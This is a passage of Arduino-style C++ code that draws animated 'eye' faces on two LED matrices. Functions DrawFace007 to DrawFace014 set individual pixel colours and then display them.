lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n lefteye.setPixelColor(248, color);\n lefteye.setPixelColor(249, color);\n lefteye.setPixelColor(250, color);\n righteye.setPixelColor(6, color);\n righteye.setPixelColor(7, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(134, color);\n righteye.setPixelColor(135, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(143, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(244, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.setPixelColor(253, color);\n righteye.setPixelColor(254, color);\n righteye.setPixelColor(255, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace007()\n{\n\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(59, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(67, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(88, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(216, color);\n lefteye.setPixelColor(217, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(58, color);\n righteye.setPixelColor(59, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(186, color);\n righteye.setPixelColor(187, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace008()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(93, color);\n lefteye.setPixelColor(94, color);\n lefteye.setPixelColor(101, color);\n lefteye.setPixelColor(102, color);\n lefteye.setPixelColor(103, color);\n lefteye.setPixelColor(110, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(217, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(229, color);\n lefteye.setPixelColor(236, color);\n lefteye.setPixelColor(237, color);\n lefteye.setPixelColor(238, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(89, color);\n righteye.setPixelColor(90, color);\n righteye.setPixelColor(91, color);\n righteye.setPixelColor(92, color);\n righteye.setPixelColor(96, color);\n righteye.setPixelColor(97, color);\n righteye.setPixelColor(98, color);\n righteye.setPixelColor(105, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(221, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(226, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(233, color);\n righteye.setPixelColor(234, color);\n righteye.setPixelColor(235, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace009()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(19, color);\n lefteye.setPixelColor(20, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(28, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(92, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(99, color);\n lefteye.setPixelColor(100, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(108, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(146, color);\n lefteye.setPixelColor(147, color);\n lefteye.setPixelColor(148, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(155, color);\n lefteye.setPixelColor(156, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(224, color);\n lefteye.setPixelColor(225, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(228, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(236, color);\n righteye.setPixelColor(19, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(27, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(31, color);\n righteye.setPixelColor(35, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(99, color);\n righteye.setPixelColor(100, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(107, color);\n righteye.setPixelColor(108, color);\n righteye.setPixelColor(109, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(111, color);\n righteye.setPixelColor(147, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(150, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(155, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(235, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.show();\n lefteye.show();\n}\n\nvoid DrawFace010()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(66, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(89, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(106, color);\n lefteye.setPixelColor(107, color);\n lefteye.setPixelColor(114, color);\n lefteye.setPixelColor(115, color);\n lefteye.setPixelColor(122, color);\n lefteye.setPixelColor(123, color);\n lefteye.setPixelColor(128, color);\n lefteye.setPixelColor(129, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(137, color);\n lefteye.setPixelColor(145, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(186, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(218, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(242, color);\n lefteye.setPixelColor(243, color);\n righteye.setPixelColor(12, color);\n righteye.setPixelColor(13, color);\n righteye.setPixelColor(20, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(28, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(101, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(110, color);\n righteye.setPixelColor(118, color);\n righteye.setPixelColor(119, color);\n righteye.setPixelColor(126, color);\n righteye.setPixelColor(127, color);\n righteye.setPixelColor(132, color);\n righteye.setPixelColor(133, color);\n righteye.setPixelColor(140, color);\n righteye.setPixelColor(141, color);\n righteye.setPixelColor(148, color);\n righteye.setPixelColor(149, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(165, color);\n righteye.setPixelColor(166, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.setPixelColor(222, color);\n righteye.setPixelColor(230, color);\n righteye.setPixelColor(231, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace011()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(44, color);\n lefteye.setPixelColor(45, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(52, color);\n lefteye.setPixelColor(53, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(73, color);\n lefteye.setPixelColor(74, color);\n lefteye.setPixelColor(75, color);\n lefteye.setPixelColor(76, color);\n lefteye.setPixelColor(77, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(81, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(84, color);\n lefteye.setPixelColor(85, color);\n lefteye.setPixelColor(168, color);\n lefteye.setPixelColor(169, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(172, color);\n lefteye.setPixelColor(173, color);\n lefteye.setPixelColor(176, color);\n lefteye.setPixelColor(177, color);\n lefteye.setPixelColor(178, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(181, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(201, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(205, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(209, color);\n lefteye.setPixelColor(210, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(213, color);\n righteye.setPixelColor(42, color);\n righteye.setPixelColor(43, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(46, color);\n righteye.setPixelColor(47, color);\n righteye.setPixelColor(50, color);\n righteye.setPixelColor(51, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(55, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(87, color);\n righteye.setPixelColor(170, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(173, color);\n righteye.setPixelColor(174, color);\n righteye.setPixelColor(175, color);\n righteye.setPixelColor(178, color);\n righteye.setPixelColor(179, color);\n righteye.setPixelColor(180, color);\n righteye.setPixelColor(181, color);\n righteye.setPixelColor(182, color);\n righteye.setPixelColor(183, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color);\n righteye.setPixelColor(215, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace012()\n{\n \/\/lefteye.clear();\n righteye.clear();\n righteye.setPixelColor(56, color);\n righteye.setPixelColor(57, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(64, color);\n righteye.setPixelColor(65, color);\n righteye.setPixelColor(66, color);\n righteye.setPixelColor(67, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(70, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(73, color);\n righteye.setPixelColor(74, color);\n righteye.setPixelColor(75, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(78, color);\n righteye.setPixelColor(79, color);\n righteye.setPixelColor(82, color);\n righteye.setPixelColor(83, color);\n righteye.setPixelColor(84, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(184, color);\n righteye.setPixelColor(185, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(192, color);\n righteye.setPixelColor(193, color);\n righteye.setPixelColor(194, color);\n righteye.setPixelColor(195, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(199, color);\n righteye.setPixelColor(201, color);\n righteye.setPixelColor(202, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(206, color);\n righteye.setPixelColor(207, color);\n righteye.setPixelColor(210, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(213, color);\n righteye.setPixelColor(214, color); \n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace013()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(18, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(26, color);\n lefteye.setPixelColor(27, color);\n lefteye.setPixelColor(34, color);\n lefteye.setPixelColor(35, color);\n lefteye.setPixelColor(42, color);\n lefteye.setPixelColor(43, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(50, color);\n lefteye.setPixelColor(51, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(58, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(82, color);\n lefteye.setPixelColor(83, color);\n lefteye.setPixelColor(90, color);\n lefteye.setPixelColor(91, color);\n lefteye.setPixelColor(96, color);\n lefteye.setPixelColor(97, color);\n lefteye.setPixelColor(98, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(152, color);\n lefteye.setPixelColor(153, color);\n lefteye.setPixelColor(154, color);\n lefteye.setPixelColor(160, color);\n lefteye.setPixelColor(161, color);\n lefteye.setPixelColor(162, color);\n lefteye.setPixelColor(163, color);\n lefteye.setPixelColor(170, color);\n lefteye.setPixelColor(171, color);\n lefteye.setPixelColor(179, color);\n lefteye.setPixelColor(180, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(185, color);\n lefteye.setPixelColor(187, color);\n lefteye.setPixelColor(188, color);\n lefteye.setPixelColor(193, color);\n lefteye.setPixelColor(194, color);\n lefteye.setPixelColor(195, color);\n lefteye.setPixelColor(196, color);\n lefteye.setPixelColor(202, color);\n lefteye.setPixelColor(203, color);\n lefteye.setPixelColor(204, color);\n lefteye.setPixelColor(211, color);\n lefteye.setPixelColor(212, color);\n lefteye.setPixelColor(219, color);\n lefteye.setPixelColor(220, color);\n lefteye.setPixelColor(226, color);\n lefteye.setPixelColor(227, color);\n lefteye.setPixelColor(232, color);\n lefteye.setPixelColor(233, color);\n lefteye.setPixelColor(234, color);\n lefteye.setPixelColor(235, color);\n lefteye.setPixelColor(240, color);\n lefteye.setPixelColor(241, color);\n lefteye.setPixelColor(242, color);\n righteye.setPixelColor(14, color);\n righteye.setPixelColor(15, color);\n righteye.setPixelColor(21, color);\n righteye.setPixelColor(22, color);\n righteye.setPixelColor(23, color);\n righteye.setPixelColor(29, color);\n righteye.setPixelColor(30, color);\n righteye.setPixelColor(36, color);\n righteye.setPixelColor(37, color);\n righteye.setPixelColor(44, color);\n righteye.setPixelColor(45, color);\n righteye.setPixelColor(52, color);\n righteye.setPixelColor(53, color);\n righteye.setPixelColor(54, color);\n righteye.setPixelColor(60, color);\n righteye.setPixelColor(61, color);\n righteye.setPixelColor(62, color);\n righteye.setPixelColor(63, color);\n righteye.setPixelColor(68, color);\n righteye.setPixelColor(69, color);\n righteye.setPixelColor(71, color);\n righteye.setPixelColor(76, color);\n righteye.setPixelColor(77, color);\n righteye.setPixelColor(85, color);\n righteye.setPixelColor(86, color);\n righteye.setPixelColor(93, color);\n righteye.setPixelColor(94, color);\n righteye.setPixelColor(95, color);\n righteye.setPixelColor(102, color);\n righteye.setPixelColor(103, color);\n righteye.setPixelColor(151, color);\n righteye.setPixelColor(156, color);\n righteye.setPixelColor(157, color);\n righteye.setPixelColor(158, color);\n righteye.setPixelColor(159, color);\n righteye.setPixelColor(163, color);\n righteye.setPixelColor(164, color);\n righteye.setPixelColor(167, color);\n righteye.setPixelColor(171, color);\n righteye.setPixelColor(172, color);\n righteye.setPixelColor(189, color);\n righteye.setPixelColor(190, color);\n righteye.setPixelColor(191, color);\n righteye.setPixelColor(196, color);\n righteye.setPixelColor(197, color);\n righteye.setPixelColor(198, color);\n righteye.setPixelColor(203, color);\n righteye.setPixelColor(204, color);\n righteye.setPixelColor(205, color);\n righteye.setPixelColor(211, color);\n righteye.setPixelColor(212, color);\n righteye.setPixelColor(219, color);\n righteye.setPixelColor(220, color);\n righteye.setPixelColor(227, color);\n righteye.setPixelColor(228, color);\n righteye.setPixelColor(229, color);\n righteye.setPixelColor(236, color);\n righteye.setPixelColor(237, color);\n righteye.setPixelColor(238, color);\n righteye.setPixelColor(239, color);\n righteye.setPixelColor(245, color);\n righteye.setPixelColor(246, color);\n righteye.setPixelColor(247, color);\n righteye.show();\n lefteye.show(); \n}\n\nvoid DrawFace014()\n{\n lefteye.clear();\n righteye.clear();\n lefteye.setPixelColor(0, color);\n lefteye.setPixelColor(1, color);\n lefteye.setPixelColor(8, color);\n lefteye.setPixelColor(9, color);\n lefteye.setPixelColor(16, color);\n lefteye.setPixelColor(17, color);\n lefteye.setPixelColor(24, color);\n lefteye.setPixelColor(25, color);\n lefteye.setPixelColor(32, color);\n lefteye.setPixelColor(33, color);\n lefteye.setPixelColor(40, color);\n lefteye.setPixelColor(41, color);\n lefteye.setPixelColor(48, color);\n lefteye.setPixelColor(49, color);\n lefteye.setPixelColor(56, color);\n lefteye.setPixelColor(57, color);\n lefteye.setPixelColor(64, color);\n lefteye.setPixelColor(65, color);\n lefteye.setPixelColor(72, color);\n lefteye.setPixelColor(80, color);\n lefteye.setPixelColor(104, color);\n lefteye.setPixelColor(105, color);\n lefteye.setPixelColor(112, color);\n lefteye.setPixelColor(113, color);\n lefteye.setPixelColor(136, color);\n lefteye.setPixelColor(144, color);\n lefteye.setPixelColor(184, color);\n lefteye.setPixelColor(192, color);\n lefteye.setPixelColor(200, color);\n lefteye.setPixelColor(208, color);\n lefteye.setPixelColor(216, 